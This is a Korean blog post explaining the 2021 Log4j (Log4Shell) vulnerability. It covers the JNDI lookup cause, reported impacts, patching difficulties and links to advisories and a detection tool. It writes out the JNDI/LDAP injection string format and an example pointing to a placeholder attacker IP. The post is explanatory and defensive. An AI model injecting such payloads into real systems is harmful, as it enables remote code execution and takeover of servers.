이것 저것

로그4제이(Log4j) 취약점

재민스 2021. 12. 29. 14:56

 

 

로그4j 란?

Log4j Log for Java의 줄임말로 로그 포 제이라고 읽는 것이 맞을 것 같다.

로그4j는 자바 기반으로  아파치 재단이 무료 배포하는 서버용 소프트웨어로서  로깅 유틸리티이다.

방문자의 접속기록과 같은 인터넷 서비스 운영과 유지 관리에 필요한 기록을 관리할 수 있는 프로그램이다. 

즉 특정 프로그램에 누가 어떤 방식으로 들어왔는지 관련 정보(로그)를 기록하는 역할이다.

로그4j는 편의성과 확장성 덕분에 사실상 업계 표준처럼 널리 쓰였다

국내 주요정보통신기반시설(147) 20(20%)에서 문제의 로그4j가 사용된 것으로 나타났다.

 

2021년 12월9일  임의 코드 실행 취약점 보고

Log4j 2에서 원격 코드 실행을 수반하는 제로 데이 공격,  즉 Log4Shell(CVE-2021-44228)이  알리바바그룹에 의해 2021년 11월 24일 발견되어 아파치에 보고되었으며 2021년 12월 9일 트위터를 통해 일반에 공개되었다.

영향을 받는 서비스에는 클라우드플레어, 아이클라우드, 마인크래프트: 자바 에디션,스팀, 텐센트 QQ, 트위터가 포함된다.

지난 10년 내의 가장 크고 가장 심각한 취약점이다.

관리자가 아닌 외부인이 비밀번호 없이 접근해 데이터를 훔치거나 랜섬웨어와 같은 악성코드를 실행할 수 있다

10일 취약점이 알려진 이후 사이버 공격 정황은 파악됐지만 실제 피해는 발견되지 않았었다.

하지만 20일 벨기에 국방부가 해킹에 뚫린 사실이 확인됐다.

 

원인

대부분의 서버는 아래와 같은 장점 때문에  로그기능을 위하여  Log4j라는 오픈소스를 사용한다.

  • Log4j 는 프로그램 변경 없이 명령어 만으로 로그 출력여부 결정한다.
  • 로그의 종류나 중요도에 따라 그룹핑 가능. 체계적인 로그 시스템을 만들기 용이하다.
  • 텍스트 파일 뿐만 아니라 원격 서버나 시스템 로그 등 플랫폼 제약 없이 사용한다.

이 중 문제의 소지가 된 건 Lookup이라는 기능이다.

Lookup'조회'라는 뜻으로 로그를 출력할 때 ${} 표현식을 이용해 정보를 치환한다.

예를 들어, ${myname} 이라는 구문이 있다면, 사용자에 따라서 출력되는 이름이 달라진다.

홍길동이  "내 이름은 ${myname}이야!" 라고 로그를 남기면, 출력은 "내 이름은 홍길동이야!" 가 된다.

 

2013717일 한 가지 Lookup 기능이 업데이트가 되었는데,

바로 JNDI (Java Naming and Directory Interface) 기능이 추가된 것이다.

https://issues.apache.org/jira/browse/LOG4J2-313

 

[LOG4J2-313] JNDI Lookup plugin support - ASF JIRA

Currently, Lookup plugins [1] don't support JNDI resources. It would be really convenient to support JNDI resource lookup in the configuration. One use case with JNDI lookup plugin is as follows: I'd like to use RoutingAppender [2] to put all the logs from

issues.apache.org

 

JNDI 는 다른 곳에서 정보를 가져올 수 있는 인터페이스이다.

해커는 이 JNDI 위에 LDAP (Lightweight Directory Access Protocol) 프로토콜을 사용했다.

LDAP 은 사용자, 시스템, 네트워크, 서비스, 앱 등의 정보를 공유하기 위한 오픈 프로토콜이다.

이 프로토콜을 이용해 원격 해커PC에 있는 해킹프로그램을 다운받아 타겟의 제어권을 탈취한다.

 

[탈취 로그  예제]

기본포맷: ${jndi:ldap://hacker_PC_IP/hacking_code}

강제로 네이버에  접속하게 하려면 다음과 같이 입력하게 된다.

${jndi:ldap://10.10.10.10/Basic/Command/start www.naver.com}

 

원격 해킹 프로그램을 전자기기에 설치하면 월패드 카메라 영상 유출 사례처럼 기기 자체가 해킹된다.

웹사이트나 앱 등에 설치된 경우 그 사이트를 이용하며 입력한 정보들이 해킹된다.

심지어 전자기기에 보안 문제가 없어도 기기에 깔린 프로그램 하나가 Log4j를 오픈소스를 사용해 보안 취약점이 있다면 전자기기까지 취약하다.

 

이 이슈는 2013년부터 최근까지 8년간 방치되어 어디에 얼마큼 보안 위험이 있는지 가늠하기 어려울 정도이며 해커가 악의적으로 악성 프로그램까지 설치했다면 보안패치를 적용해도 안전하지 않을 수 있다.

 

Log4j 사태로 모든 기업들이 비상사태이며, 어떤 공격이 들어왔었는지 다 찾아봐야 대응할 수 있기 때문에 담당자들은 일일이 로그 내역을 확인하고 있다.

(원인 관련 출처: https://devmonster.tistory.com/83 [Dev.Monster])

 

보안패치 등 조치

로그4j를 만든 아파치재단이 보안 취약점을 해결한 보안패치를 신속히 내놨지만, 현재로선 문제 해결이 간단치 않다.

우선 신규 패치를 깔고 싶어도 구조상 로그4j가 들어간 소프트웨어를 찾아내는 게 쉽지 않다.

파일 이름으로 검색하는 구조가 아니라, 관리자가 컴퓨터 명령어를 통해 찾는 방식이다.

더구나 신규 패치를 바로 깔기도 쉽지 않다.

최근 로그4j의 다른 버전에서도 추가로 취약점이 발견돼 신규 패치가 계속 나오고 있는데다,

새 패치가 전체 SW에 영향을 미칠 수 있어 패치 작업에 상당한 시간이 필요하다

 


Apache Log4j 보안 업데이트 권고 (Update. 21-12-22 13:40) - KISA

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389 

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

 

SK쉴더스의   log4j 탐지툴 다운로드

아래에서 log4j 탐지 툴을 다운로드 받아 해킹 흔적을 탐지할 수 있습니다.

https://infosec.adtcaps.co.kr/newsRoom/eventNotice/noticeView.do?boardSeq=1393 

 

Apache 社 자바 기반 로깅 유틸리티 Log4j 2에서 발생하는 취약점 긴급 패치 및 점검 필요

ADT캡스 인포섹

infosec.adtcaps.co.kr